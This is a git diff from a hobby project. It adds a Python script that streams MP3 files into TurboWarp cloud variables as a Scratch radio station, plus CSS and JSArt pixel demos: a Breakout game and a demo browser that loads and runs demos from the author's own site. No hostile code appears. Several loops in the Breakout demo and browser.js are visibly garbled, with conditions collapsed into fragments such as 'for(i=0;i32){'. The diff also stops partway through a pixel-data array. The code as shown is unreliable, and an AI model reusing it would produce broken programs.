diff --git a/files/cola-serv.py b/files/cola-serv.py new file mode 100644 index 0000000..01cb5c6 --- /dev/null +++ b/files/cola-serv.py @@ -0,0 +1,166 @@ +import random +import os +import scratchattach as scratch3 +import numpy as np +import pydub +import time + +# go to the bottom of the script to go to the main script. + +# functions + +def aread(f, normalized=False): + """MP3 to numpy array""" + a = pydub.AudioSegment.from_mp3(f) + y = np.array(a.get_array_of_samples()) + if a.channels == 2: + y = y.reshape((-1, 2)) + if normalized: + return a.frame_rate, np.float32(y) / 2**15 + else: + return a.frame_rate, y + +def awrite(f, sr, x, normalized=False): + """numpy array to MP3""" + channels = 2 if (x.ndim == 2 and x.shape[1] == 2) else 1 + if normalized: # normalized array - each item should be a float in [-1, 1) + y = np.int16(x * 2 ** 15) + else: + y = np.int16(x) + song = pydub.AudioSegment(y.tobytes(), frame_rate=sr, sample_width=2, channels=channels) + song.export(f, format="mp3", bitrate="320k") + + +conn = "" +def initSender(eu): + global conn + print("initiating sender") + # eu = input("Connect to the european server? (y/n)")=="y" + # conn = scratch3.connect_tw_cloud(input("Specify project id: ")) + wsid="wss://clouddata.turbowarp.org/" + if eu: + wsid="wss://clouddata-eu.turbowarp.org/" + conn = scratch3.TwCloudConnection(project_id = "361524240655680", username="Jiyd", cloud_host=wsid) + print("done init") + +def sendDataValues(vals,metadataKeep,metadata): + timestart=time.time() + data = str(random.randint(0,9))+str(random.randint(0,9)) + a=str(sample_rate) + for z in range(0,5-len(a)): + data=data+"0" + data=data+a + a=str(bits) + for z in range(0,2-len(a)): + data=data+"0" + data=data+a + a=str(len(vals)) + for z in range(0,4-len(a)): + data=data+"0" + data=data+a + for j in range(0,len(vals)): + a=str(int(vals[j])) + for z in range(0,len(str(bitmax))-len(a)): + data=data+"0" + data=data+a + if useMetaData: + data=data+"1" + if metadataKeep: + data=data+"0" + else: + data=data+"1" + b = str(metadata[0]) + for y in [ord(c) for c in b]: + a = str(y) + for z in range(0,3-len(a)): + data=data+"0" + data=data+a + data=data+"000" + b = str(metadata[1]) + for y in [ord(c) for c in b]: + a = str(y) + for z in range(0,3-len(a)): + data=data+"0" + data=data+a + data=data+"000" + b = str(metadata[2]) + for y in [ord(c) for c in b]: + a = str(y) + for z in range(0,3-len(a)): + data=data+"0" + data=data+a + else: + data=data+"0" + # print("Made data value in "+str(time.time()-timestart)+" seconds") + while (time.time()-timestart)<0.1: + pass # wait + try: + if len(str(data))>10000: + f = open("chnkfail.txt", "w") + f.write("Error text:\nChunk length is more than 10 thousand characters. To avoid this, please reduce the sample rate.\n\nChunk data: "+str(data)) + f.close() + print("/!\\ The chunk size is more than 10 thousand characters. A version with this limit has been sent instead, meaning the chunk is incomplete, with an invalid/unset metdata. For more information, check the last 3 lines in chnkfail.txt\n\n") + conn.set_var("Station "+str(stationNum),str(data)[:10000]) + except Exception as error: + f = open("chnkfail.txt", "a") + f.write("Error text:\n"+str(error)+"\n\nChunk data: "+str(data)+"\n\n") + f.close() + print("Internet may have been cut! This mostly happens when the server tries to shut down / go to sleep mode.") + print("The chunk data was not sent, so new information is accessible in chnkfail.txt.\n\n") + +def useSender(file): + global conn + os.system("cls") + print("Converting and sending "+file+"...") + os.system("del use.mp3 /q") + os.system('cmd /c ffmpeg -v quiet -stats -i "soundtrack/'+file+'" -ac 1 -ar '+str(sample_rate)+' "use.mp3"') # convert to an usable mp3 file + vals=aread("use.mp3",True) # get float data + vals=np.round(((aread("use.mp3",True)[1]+1)/2)*bitmax) # turn values into supported integers + awrite("preview.mp3",sample_rate,np.round((vals/bitmax)*0b111111111111111)) # make a preview file + + # this is where the metadata is set: the first string is the title, second is the station name, third is the author. + metadata = [file.replace(".mp3","")[file.find(" ")+1:],"Minecraft soundtrack - testing server","C418 - @Ponali"] # you can change those values to whatever you want. if you want to use the title of the mp3 file directly, use the "file" variable + + os.system("cls") + print("title: "+metadata[0]) + print("station name: "+metadata[1]) + print("author: "+metadata[2]) + print("file used: "+file) + vallen=int(sample_rate/10) + print("len: "+str(len(vals))) + + # sends values of the mp3 file into chunks with a length as the same as the variable "vallen". + for h in range(0,int(len(vals)/vallen)): + valuesToSend=[] + i = h*vallen + for j in range(i,vallen+i): + valuesToSend.append(vals[j]) + sendDataValues(valuesToSend,h<10,metadata) # second parameter is a "keep metadata" condition + print("time: "+str(h)+"/"+str(int(len(vals)/vallen)),end="\r") # the \r character moves the pointer to the left side of the screen so the last line can be erased. + +# main settings, you can change these to whatever you want. please do not change a variable if you don't know its purpose. +sample_rate = 22050 # audio sample rate. due to some pydub shenanigans, the sample rate you can use may need to be a supported one (800,11025...44100,48000). if you want metadata, i recommend you use 22050Hz, or, 32000Hz without metadata. Uses Hz and not kHz. +stationNum = 0 # if you are actually making your own station, MAKE SURE TO CHANGE THIS! +useMetaData=True +useEUServer=False # the european server isn't the default server used in turbowarp, but it is possible to connect to it + +# experimental settings +bits = 8 # changing the bits is highly experimental and may not work all the time. change this at your own risk. + +# initialisation +bitmax = eval("0b"+"1"*bits) +initSender(useEUServer) + +# main script (to use for random mp3s from the "soundtrack" folder to be played) +files = os.listdir("soundtrack") +choicelast="" +choice="" +while True: + while choice==choicelast: + choice = random.choice(files) + try: + useSender(choice) + except KeyboardInterrupt: + print("Song was skipped using Ctrl-C!") + choicelast = choice + diff --git a/files/cola_client.sb3 b/files/cola_client.sb3 new file mode 100644 index 0000000..ae2d0f0 Binary files /dev/null and b/files/cola_client.sb3 differ diff --git a/files/jsart/css/style.css b/files/jsart/css/style.css new file mode 100644 index 0000000..3863da1 --- /dev/null +++ b/files/jsart/css/style.css @@ -0,0 +1,71 @@ +body { + width: 512px; + margin: 4px auto; + font-family: Arial; +} + +label:not(#editor *) { + display: block; +} + +input[type="number"]:not(#editor *) { + width: 48px; +} + +#options { + margin-bottom: 16px; +} +#options.hidden { + display: none; +} + +#advanced:not(#editor *) { + box-align: center; +} + +#formula:not(#editor *) { + display: block; + margin: 4px 0; + width: 100%; + box-sizing: border-box; +} + +canvas { + image-rendering: pixelated; +} + +#fps:not(#editor *){ + font-family: monospace; +} + +@font-face { + font-family: 'Quicksand-Regular'; + src:url('/font/Quicksand-Regular.ttf.woff') format('woff'), + url('/font/Quicksand-Regular.ttf.svg#Quicksand-Regular') format('svg'), + url('/font/Quicksand-Regular.ttf.eot'), + url('/font/Quicksand-Regular.ttf.eot?#iefix') format('embedded-opentype'); + font-weight: normal; + font-style: normal; +} + +*:not(input){font-family: 'Quicksand-Regular';} +input:not(#editor *){font-family:monospace;} +#popup{ + position:fixed; + top:calc((100vh - 200px) / 2); + left:calc((100vw - 200px) / 2); + width:200px; + height:200px; + background-color:white; +} +#popupbtn{ + width:200px; + margin:0; + padding:0; + border:none; + float:left; + font-size:20px; +} +.hidden{ + display:none; +} \ No newline at end of file diff --git a/files/jsart/css/theme.css b/files/jsart/css/theme.css new file mode 100644 index 0000000..975f1b6 --- /dev/null +++ b/files/jsart/css/theme.css @@ -0,0 +1,11 @@ +.dark{ + background-color:black; + color:white; +} +.dark *:not(font, font *){ + background-color:#404040 !important; + color:white !important; +} +#projects{ + background-color:#d0d0d0; +} \ No newline at end of file diff --git a/files/jsart/demos/atari-breakout.txt b/files/jsart/demos/atari-breakout.txt new file mode 100644 index 0000000..2bd7d8e --- /dev/null +++ b/files/jsart/demos/atari-breakout.txt @@ -0,0 +1,51 @@ +(()=>{ +// check fps +if(x==0&&y==0){ + if(window.fpschk){ + window.fpschk.currentFps = 1000/(t - window.fpschk.tStart); + window.fpschk.tStart=t; + } else { + window.fpschk = {"tStart":t,"currentFps":60} + } +} +let fps = window.fpschk.currentFps; +let delta = 1/window.fpschk.currentFps; +// game +playerx = Math.floor(mx)-50; +sw = sy = 256; +let bricks = []; +try{bricks = window.breakout.bricks;}catch{/*bru*/} +if(x==0&&y==0){ + console.log(window.breakout) + if(window.breakout){ + window.breakout.dx+=window.breakout.vx*delta*50; + window.breakout.dy+=window.breakout.vy*delta*50; + if(window.breakout.dx<=0){window.breakout.vx=Math.abs(window.breakout.vx);window.breakout.dx=0;} + if(window.breakout.dx>=(sw-10)){window.breakout.vx=0-Math.abs(window.breakout.vx);window.breakout.dx=(sw-12);} + if(window.breakout.dy<=0){window.breakout.vy=Math.abs(window.breakout.vy);window.breakout.dy=0;} + if(window.breakout.dy>=(sh-10)||window.breakout.bricks.length==0){window.breakout = null;} + if(window.breakout.dy>=(220-10)&&window.breakout.dx>=playerx&&window.breakout.dx<=(playerx+100)){window.breakout.vy=0-Math.abs(window.breakout.vy);}; + let bbroken = 0; + for(i=0;i=(bricks[i].x-16)&&window.breakout.dx<=(bricks[i].x+16)){ + if(bbroken==0){ + if(window.breakout.dy>=(bricks[i].y-10)&&window.breakout.dy<=(bricks[i].y+10)){window.breakout.bricks.splice(i,1);window.breakout.vy=0-(window.breakout.vy);i--;bbroken++;}; + } else { + window.breakout.vx=0-(window.breakout.vx);i=10000; + } + } + } + } else { + window.breakout = {"vx":2,"vy":2,"dx":0,"dy":150,"bricks":[]}; + for(i=0;i<16*8;i++){let idx = ((16*8)-i)-1;window.breakout.bricks.push({"x":((idx%16)*16)-1,"y":20+(Math.floor(idx/16)*10),"color":([0xff0000,0xffa000,0x00ff00,0xffff00])[Math.floor((idx)/32)]})} + } +} +let dx = window.breakout.dx; let dy = window.breakout.dy; +let gamepx = 0xffffff*(x<=(10+dx)&&y<=(10+dy)&&x>dx&&y>dy); // ball +gamepx+=0x0080ff*(x<=(100+playerx)&&y<=(10+220)&&x>playerx&&y>220); // paddle +for(i=0;ibricks[i].x&&y>bricks[i].y); +}} +return gamepx; + +})(); \ No newline at end of file diff --git a/files/jsart/demos/browser-background.txt b/files/jsart/demos/browser-background.txt new file mode 100644 index 0000000..a986ed1 --- /dev/null +++ b/files/jsart/demos/browser-background.txt @@ -0,0 +1 @@ +(()=>{ let a = (c*(((Math.sin(t/1000)+1)/4)+0.5)); let b = (Math.floor(Math.sin(((x+10000)*(y+1000))+(t/40000))*10)==0)*0xffffff; return (b ? b : a ); })() \ No newline at end of file diff --git a/files/jsart/demos/browser.js b/files/jsart/demos/browser.js new file mode 100644 index 0000000..8957664 --- /dev/null +++ b/files/jsart/demos/browser.js @@ -0,0 +1,130 @@ +(()=>{ + if(x==0&&y==0){ + if(!window.brws){ + fetch("https://jsart.ponali.repl.co/demos/brws-data.json").then(data=>data.text()).then((body)=>{ + let outj=JSON.parse(body); + window.brws.demos.files=outj.files.sort((a,b)=>{ + let arr = [a.file, b.file];arr.sort(); + if(arr[0]==b.file){ + return 1; + }else{ + return -1; + }; + }); + window.brws.demos.mode="browse"; + }); + fetch("https://jsart.ponali.repl.co/modules/brws-data.json").then(data=>data.text()).then((body)=>{ + let outj=JSON.parse(body); + window.brws.modules.files=outj["module-docs"]; + window.brws.modules.mode="browse"; + }); + window.brws={"currentDemo":"","currentModule":"","moduleDoc":"","menu":0,"demos":{"mode":"searching","files":[],"page":1},"modules":{"mode":"searching","files":[],"page":1}}; + }} + if(window.brws.currentDemo==""){ + let text = (()=>{ if(x==0&&y==0){if(!window.txf){(()=>{ fetch("https://jsart.ponali.repl.co/modules/txt-small.txt").then(data=>data.text()).then((body)=>{window.txf.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body);}) })();window.txf={"func":(()=>{return (()=>{});})};}}return window.txf.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k);})(); + let mdesc = (()=>{ if(x==0&&y==0){if(!window.mdf){(()=>{ fetch("https://jsart.ponali.repl.co/modules/module-desc.txt").then(data=>data.text()).then((body)=>{window.mdf.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body);}) })();window.mdf={"func":(()=>{return (()=>{});})};}} return window.mdf.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); + let scrui = (((sw-1)-x)/sw)*256; + if(y>13){scrui=c/2;} + if(y>256-13){ + scrui=255; + if(((Math.floor(mx*(3/256))==Math.floor(x*(3/256)))&&(my>256-13)&&(my<256))|(window.brws.menu==Math.floor(x*(3/256)))){ + scrui=128; + if(cl==1){ + window.brws.menu=Math.floor(x*(3/256))} + }; + } + let scrtxt = text("JSArt Browser v1.0.2",0,1,0)|text("Demos",0,244,0)|text("Modules",0,244,1)|text("About",0,244,2); + if(window.brws.menu==4){ + if(x==0&&y==0){ + let docd=(()=>{ if(x==0&&y==0){if(!window.modf){(()=>{ fetch("https://jsart.ponali.repl.co/modules/"+window.brws.currentModule).then(data=>data.text()).then((body)=>{window.modf.func=body;console.log(body);}) })();window.modf={"func":'{"name":"Loading file..."}'};}} return window.modf.func; })(); + let gtxt = mdesc(JSON.parse(docd)); + let gr = gtxt.split("\n"); + for(i=0;i32){ + let elem = gr[i]; + let last=elem.slice(0,32).lastIndexOf(" "); + gr[i]=elem.slice(0,last); + gr.splice(i+1, 0, elem.slice(last+1)); + } + }; + window.brws.moduleDoc=gr; + } + if(y>13&&y<243){ + for(i=0;i(13-8)&&(txy-scroll)<243){ + scrtxt=scrtxt|text(window.brws.moduleDoc[i],0,txy-scroll,0); + }; + } + } + } + if(window.brws.menu<2){ + let files = {}; + if(window.brws.menu==0){ + files=window.brws.demos + }else{ + files=window.brws.modules + }; + if(files.mode=="browse"){ + if(x==0&&y==0){ + if(k==40||(cl==1&&mx>=2&&mx<22&&my>=200&&my<220)){ + files.page=Math.min(files.page+1,Math.ceil(files.files.length/10)); + } + if(k==38||(cl==1&&mx>=32&&mx<52&&my>=200&&my<220)){ + files.page=Math.max(files.page-1,1); + } + }; + let visualArrows = (()=>{ let vx=x;let vy=y; vx+=18; vy-=180; if(vx>(vy/2)+10&&vx<(50-(vy/2))&&vy>20&&vy<40){return 1} vx-=30; vy=60-vy; if(vx>(vy/2)+10&&vx<(50-(vy/2))&&vy>20&&vy<40){return 1};return 0;})()*0xffffff; + //if(k==40||k==38){return i;} + let pgoff = ((files.page-1)*10); + for(i=pgoff;i(((i-pgoff)*18)+18)&&y<(((i-pgoff)*18)+35))&&(my>(((i-pgoff)*18)+18)&&my<(((i-pgoff)*18)+35))){ + scrui=255; + if(cl==1){ + if(window.brws.menu==0){ + window.brws.currentDemo=files.files[i].file; + window.bdemo=null; + }else{ + window.brws.menu=4; + window.modf=window.mdf=null; + window.brws.currentModule=files.files[i].file; + } + } + } + if(x>2&&x<18&&y>(((i-pgoff)*18)+18)&&y<(((i-pgoff)*18)+35)){ + scrui=tx(x+154,(y+(32*window.brws.menu))-(((i-pgoff)*18)+19)) + }; + if(visualArrows){scrui=visualArrows;} + //scrtxt=scrtxt|text((files.files[i].file)+"",18,(((i-pgoff)*18)+18),0) + }; + let offset=((pgoff-1)*18); + let height = 18; + let idx = y-((y+offset)%height)+offset; + if(Math.floor(idx/height)=pgoff){ + scrtxt=scrtxt|text(files.files[Math.floor(idx/height)].file+"",18,Math.floor(idx)-offset,0); + } + if(window.brws.menu==0){ + scrtxt=scrtxt|text("Press '$' or ';' to quit a demo.",0,234,1); + }; + }; + if(files.mode=="searching"){ + scrtxt=scrtxt|text("Searching...",0,128,1); + } + scrtxt=scrtxt|(text("Page "+files.page+"/"+Math.ceil(files.files.length/10),0,225,0)/1.9921875)|(text(files.files.length+" file(s) found",0,225,2)/1.9921875); + }; + if(window.brws.menu==2){ + scrtxt=scrtxt|text("Concept and Coding by Ponali",0,40,1)|text("Icons by mikethe223 aka michaël",0,70,1)|text("JSArt browser is a file viewer",0,100,1)|text("that lets you view demos and",0,120,1)|text("module documentation files.",0,140,1)|text("Bugs? Contact @ponali on discord",0,220,1) + } + return (scrtxt ? scrtxt : scrui); + }else{ + if(k==186){ + window.brws.currentDemo=""; + }; + function demoErr(i,t,x,y,mx,my,sw,sh,c,ic,cl,k){let txt = window.txf.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k);return txt("Demo may be unexistant/invalid.",0,0,0)|txt("Check console using Ctrl+Shift+I",0,20,0)|txt('and press "$" or ";" to go back.',0,40,0);} + function demoWait(i,t,x,y,mx,my,sw,sh,c,ic,cl,k){let txt = window.txf.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k);return txt("Fetching demo... Please wait.",0,0,0)|txt("For troubleshooting process:",0,20,0)|txt("Check console using Ctrl+Shift+I",0,40,0)|txt('and press "$" or ";" to go back.',0,60,0);} + return (()=>{ if(x==0&&y==0){if(!window.bdemo){(()=>{ try{ fetch("https://jsart.ponali.repl.co/demos/"+window.brws.currentDemo).then(data=>{console.log(data);window.bdemo.func=demoErr;return data.text()}).then((body)=>{window.bdemo.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k","return "+body);}) } catch (e){window.bdemo.func = demoErr;} })();window.bdemo={"func":demoWait};}} return window.bdemo.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); + } + function tx(sx,sy){let data = [0,0,0,0,0,328965,328965,328965,0,0,0,328965,592137,1250067,15527148,15856113,15856113,15527148,1250067,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,786946,1377027,13706019,14296100,14296100,14296100,14296100,13706019,1377027,786946,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,921102,15528176,15856884,15989241,15856884,15528176,921102,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,591877,591877,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,15527148,16119285,15856113,15856113,15856113,16119285,16119285,15856113,921102,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14540253,592137,328965,0,328965,592137,14869218,14869218,921102,921102,921102,921102,14869218,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,1049347,13246753,13509154,13706019,14033699,14296100,14296100,14296100,14296100,14033699,13706019,13509154,13246753,1049347,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,1053459,6740441,1317916,6676190,1185559,14804710,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,854789,14394399,15394006,854789,328448,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,15198183,1579032,921102,921102,921102,1579032,15527148,1579032,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,921102,14540253,328965,328965,592137,14869218,921102,592137,328965,0,0,328965,592137,921102,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,786946,13246753,13706019,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13706019,13246753,786946,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,395529,198664,5624787,463121,6085081,856594,14804710,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,14394399,16314849,15248410,14393623,525825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,921102,15198183,1907997,1579032,15198183,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14540253,921102,592137,592137,592137,14869218,592137,328965,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,1049347,13509154,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13509154,1049347,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,132357,198664,5624787,463121,6085081,856594,14804710,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,1183754,15986661,15577118,15576602,14918672,1182977,328448,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,592137,14869218,15198183,15527148,15198183,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,921102,14540253,328965,592137,14540253,921102,328965,0,0,0,0,0,0,0,0,328965,921102,14869218,592137,0,0,0,0,0,0,0,0,0,0,0,262401,786946,13246753,13706019,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13706019,13246753,786946,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,921102,328965,0,0,0,132357,198664,5624787,463121,6085081,1185559,14804710,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,15460061,15314724,16643812,15510805,15181841,14327312,525825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,328965,592137,921102,1579032,15198183,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14540253,921102,592137,263172,592137,14079702,789516,0,0,0,0,0,0,0,0,0,0,592137,14869218,921102,328965,0,0,0,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14362664,14363692,14430256,14363692,14362664,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,132357,198664,5624787,463121,6676190,14804710,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1183754,14985761,16644073,15576602,15510805,15510289,14918672,1182977,328448,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1250067,592137,921102,921102,921102,921102,592137,1250067,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14540253,328965,0,526344,328965,328965,0,0,0,0,0,0,0,0,0,0,328965,921102,14869218,592137,0,0,0,0,0,0,0,0,0,262401,1049347,13706019,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14363692,16509674,16643059,16509674,14363692,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13706019,1049347,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,0,132357,198664,5624787,1317916,14871274,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,14394399,16314849,15248154,14919189,14918928,15181841,15181841,14327312,525825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1579032,14672613,15395561,15198697,15461092,15527658,15131614,1579032,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,328965,328965,328965,460551,328965,0,0,0,0,0,0,0,0,0,0,0,0,921102,14540253,921102,0,0,0,0,0,0,0,0,262401,786946,13509154,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13509154,786946,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,0,0,132357,198664,6740441,14804710,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,1183754,15986661,15577118,14985241,1445890,1445890,14918928,15510289,14918672,1182977,328448,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1907997,15395561,4430549,15039270,7202264,15250732,15462118,1907997,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,13948116,789516,0,0,0,0,0,0,0,0,0,0,0,0,1579032,14540253,921102,0,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,921102,328965,0,0,0,0,0,0,0,395529,1053459,14804710,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,15460061,15314724,16643812,14656276,854529,854529,14655760,15510289,15181841,14327312,525825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1907997,15198697,15039270,2273861,14855963,6222672,15462111,1907997,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14540253,921102,328965,0,131073,327939,524549,327939,131073,0,0,0,0,328965,921102,14540253,592137,0,0,0,0,0,0,0,262401,1049347,13706019,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13706019,1049347,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1183754,14985761,16644073,15576602,14656276,854529,854529,14655760,15510289,15510289,14918672,1182977,328448,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1907997,15461092,7202264,14855963,15923680,15395365,15462626,1907997,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,921102,14869218,592137,196610,327939,8131403,8131403,8065866,196610,0,0,0,0,592137,14869218,921102,328965,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,921102,15198183,592137,328965,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0